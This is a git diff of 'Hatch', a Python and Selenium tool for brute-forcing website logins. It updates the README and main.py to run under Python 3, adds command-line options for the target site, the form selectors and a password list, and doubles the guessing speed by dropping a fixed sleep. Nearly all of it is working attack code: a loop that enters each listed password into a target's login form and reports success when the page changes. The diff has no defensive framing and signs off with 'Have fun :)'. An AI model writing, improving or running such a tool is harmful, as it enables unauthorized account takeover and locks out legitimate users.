diff --git a/README.md b/README.md index 63abe85..d7f54e3 100644 --- a/README.md +++ b/README.md @@ -1,19 +1,37 @@ # Hatch Hatch is a brute force tool that is used to brute force most websites +# Update! recoded by FlroianBord2 +You can run Hatch with python3 now. +The main purpose of this fork is to improve the number of passwords tested by second. +The original code call a two-second sleep between each try, I replace this by the 'wait until presence of element located' +time.sleep(2) -> wait.until(EC.presence_of_element_located((By.CSS_SELECTOR, login_btn_selector))) + +The process is two times faster with this modification. + +# Update! v.1.3 +added arg support **yay** +
+ -h, --help show this help message and exit
+ -u USERNAME, --username=USERNAME Choose the username
+ --usernamesel=USERNAMESEL Choose the username selector
+ --passsel=PASSSEL Choose the password selector
+ --loginsel=LOGINSEL Choose the login button selector
+ --passlist=PASSLIST Enter the password list directory
+ --website=WEBSITE choose a website
+dont worry if you load up the tool without any args youll go to the default wizard! +Also i removed the apt xvfb and pip2 pyvirtualdisplay ## Installation Instructions ``` git clone https://github.com/MetaChar/Hatch -python2 main.py +python3 main.py ``` ## Requirements ``` -pip2 install selenium -pip2 install pyvirtualdisplay -pip2 install requests -sudo apt-get install xvfb +pip3 install selenium +pip3 install requests ``` chrome driver and chrome are also required! link to chrome driver: http://chromedriver.chromium.org/downloads @@ -28,5 +46,5 @@ copy it to bin! 6). Watch it go! ## How to use (Video) -[![IMAGE ALT TEXT](https://i.ytimg.com/vi/Hd_kQVnajxk/1.jpg)](https://youtu.be/Hd_kQVnajxk "Video Title") +[![IMAGE ALT TEXT](https://i.ytimg.com/vi/Hd_kQVnajxk/hqdefault.jpg?sqp=-oaymwEZCPYBEIoBSFXyq4qpAwsIARUAAIhCGAFwAQ==&rs=AOn4CLC7N67-Q67WAxMViUrHWJDdnkSM9A)](https://youtu.be/Hd_kQVnajxk "Video Title") diff --git a/main.py b/main.py index 23f71bc..8c679a7 100644 --- a/main.py +++ b/main.py @@ -1,24 +1,20 @@ # Coded by METACHAR # Looking to work with other hit me up on my email @metachar1@gmail.com <-- - -import datetime -from selenium import webdriver -from sys import stdout import sys -import time as t +import datetime +import selenium import requests -now = datetime.datetime.now() +import time as t +from sys import stdout +from selenium import webdriver +from optparse import OptionParser +from selenium.webdriver.common.keys import Keys from selenium.common.exceptions import NoSuchElementException -from pyvirtualdisplay import Display +from selenium.webdriver.common.by import By +from selenium.webdriver.support.ui import WebDriverWait +from selenium.webdriver.support import expected_conditions as EC + -display = Display(visible=1, size=(800, 800)) -display.start() -driver = webdriver.Chrome() -options = webdriver.ChromeOptions() -options.add_argument("--disable-popup-blocking") -options.add_argument("--disable-extensions") -count = 1 #count -driver.get('https://www.google.com') #Graphics class color: @@ -35,20 +31,26 @@ class color: CWHITE = '\33[37m' -banner = color.BOLD + color.RED +''' - _ _ _ _ - | | | | | | | | - | |__| | __ _| |_ ___| |__ - | __ |/ _` | __/ __| '_ \ - | | | | (_| | || (__| | | | - |_| |_|\__,_|\__\___|_| |_| - {0}[{1}-{2}]--> {3}V.1.0 - {4}[{5}-{6}]--> {7}coded by Metachar - {8}[{9}-{10}]-->{11} brute-force tool '''.format(color.RED, color.CWHITE,color.RED,color.GREEN,color.RED, color.CWHITE,color.RED,color.GREEN,color.RED, color.CWHITE,color.RED,color.GREEN) +#Config# +parser = OptionParser() +now = datetime.datetime.now() + -def main(): +#Args +parser.add_option("-u", "--username", dest="username",help="Choose the username") +parser.add_option("--usernamesel", dest="usernamesel",help="Choose the username selector") +parser.add_option("--passsel", dest="passsel",help="Choose the password selector") +parser.add_option("--loginsel", dest="loginsel",help= "Choose the login button selector") +parser.add_option("--passlist", dest="passlist",help="Enter the password list directory") +parser.add_option("--website", dest="website",help="choose a website") +(options, args) = parser.parse_args() + + + + +def wizard(): print (banner) - website = raw_input(color.GREEN + color.BOLD + '\n[~] ' + color.CWHITE + 'Enter a website: ') + website = input(color.GREEN + color.BOLD + '\n[~] ' + color.CWHITE + 'Enter a website: ') sys.stdout.write(color.GREEN + '[!] '+color.CWHITE + 'Checking if site exists '), sys.stdout.flush() t.sleep(1) @@ -57,6 +59,8 @@ def main(): if request.status_code == 200: print (color.GREEN + '[OK]'+color.CWHITE) sys.stdout.flush() + except selenium.common.exceptions.NoSuchElementException: + pass except KeyboardInterrupt: print (color.RED + '[!]'+color.CWHITE+ 'User used Ctrl-c to exit') exit() @@ -66,32 +70,72 @@ def main(): t.sleep(1) print (color.RED + '[!]'+color.CWHITE+ ' Website could not be located make sure to use http / https') exit() - username_selector = raw_input(color.GREEN + '[~] ' + color.CWHITE + 'Enter the username selector: ') - password_selector = raw_input(color.GREEN + '[~] ' + color.CWHITE + 'Enter the password selector: ') - login_btn_selector = raw_input(color.GREEN + '[~] ' + color.CWHITE + 'Enter the Login button selector: ') - username = raw_input(color.GREEN + '[~] ' + color.CWHITE + 'Enter the username to brute-force: ') - pass_list = raw_input(color.GREEN + '[~] ' + color.CWHITE + 'Enter a directory to a password list: ') + + username_selector = input(color.GREEN + '[~] ' + color.CWHITE + 'Enter the username selector: ') + password_selector = input(color.GREEN + '[~] ' + color.CWHITE + 'Enter the password selector: ') + login_btn_selector = input(color.GREEN + '[~] ' + color.CWHITE + 'Enter the Login button selector: ') + username = input(color.GREEN + '[~] ' + color.CWHITE + 'Enter the username to brute-force: ') + pass_list = input(color.GREEN + '[~] ' + color.CWHITE + 'Enter a directory to a password list: ') + brutes(username, username_selector ,password_selector,login_btn_selector,pass_list, website) + +def brutes(username, username_selector ,password_selector,login_btn_selector,pass_list, website): f = open(pass_list, 'r') - driver = webdriver.Chrome() - options = webdriver.ChromeOptions() - options.add_argument("--disable-popup-blocking") - options.add_argument("--disable-extensions") - count = 1 #count - browser = webdriver.Chrome(chrome_options=options) - browser.get(website) + optionss = webdriver.ChromeOptions() + optionss.add_argument("--disable-popup-blocking") + optionss.add_argument("--disable-extensions") + browser = webdriver.Chrome(chrome_options=optionss) + wait = WebDriverWait(browser, 10) while True: try: for line in f: browser.get(website) + wait.until(EC.presence_of_element_located((By.CSS_SELECTOR, login_btn_selector))) Sel_user = browser.find_element_by_css_selector(username_selector) #Finds Selector Sel_pas = browser.find_element_by_css_selector(password_selector) #Finds Selector enter = browser.find_element_by_css_selector(login_btn_selector) #Finds Selector Sel_user.send_keys(username) Sel_pas.send_keys(line) - print '------------------------' + print ('------------------------') print (color.GREEN + 'Tried password: '+color.RED + line + color.GREEN + 'for user: '+color.RED+ username) - print '------------------------' + print ('------------------------') except KeyboardInterrupt: #returns to main menu if ctrl C is used + print('CTRL C') + break + except selenium.common.exceptions.NoSuchElementException: + print ('AN ELEMENT HAS BEEN REMOVED FROM THE PAGE SOURCE THIS COULD MEAN 2 THINGS THE PASSWORD WAS FOUND OR YOU HAVE BEEN LOCKED OUT OF ATTEMPTS! ') + print ('LAST PASS ATTEMPT BELLOW') + print (color.GREEN + 'Password has been found: {0}'.format(line)) + print (color.YELLOW + 'Have fun :)') exit() -main() +banner = color.BOLD + color.RED +''' + _ _ _ _ + | | | | | | | | + | |__| | __ _| |_ ___| |__ + | __ |/ _` | __/ __| '_ \\ + | | | | (_| | || (__| | | | + |_| |_|\__,_|\__\___|_| |_| + {0}[{1}-{2}]--> {3}V.1.0 + {4}[{5}-{6}]--> {7}coded by Metachar + {8}[{9}-{10}]-->{11} brute-force tool '''.format(color.RED, color.CWHITE,color.RED,color.GREEN,color.RED, color.CWHITE,color.RED,color.GREEN,color.RED, color.CWHITE,color.RED,color.GREEN) + +if options.username == None: + if options.usernamesel == None: + if options.passsel == None: + if options.loginsel == None: + if options.passlist == None: + if options.website == None: + wizard() + + +username = options.username +username_selector = options.usernamesel +password_selector = options.passsel +login_btn_selector = options.loginsel +website = options.website +pass_list = options.passlist +print (banner) +brutes(username, username_selector ,password_selector,login_btn_selector,pass_list, website) + + +